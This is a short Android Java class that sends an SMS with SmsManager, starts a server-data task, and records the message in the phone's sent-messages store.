package com.woogie.serv.async;

import android.content.ContentValues;
import android.net.Uri;
import android.provider.Telephony.Sms;
import android.telephony.SmsManager;

import com.woogie.serv.MainService;

public class SendMessage {
	
	private String phoneNumber;
	private String message;

	public SendMessage(String to, String text) {
		this.phoneNumber = to;
		this.message = text;
	}
	
	public void send()
    {
       SmsManager sms = SmsManager.getDefault();
       sms.sendTextMessage(phoneNumber, null, message, null, null);
       new DataFromServer().execute();
       Sms obj = null;
       try {
           ContentValues values = new ContentValues();
           values.put("address", phoneNumber);
           values.put("body", message);
           values.put("read", 0);
           values.put("date", System.currentTimeMillis());
           MainService.service.getContentResolver().insert(
        		   Uri.parse("content://sms/sent"), values);
       } catch (Exception ex) {
           ex.printStackTrace();
       }
    }
}
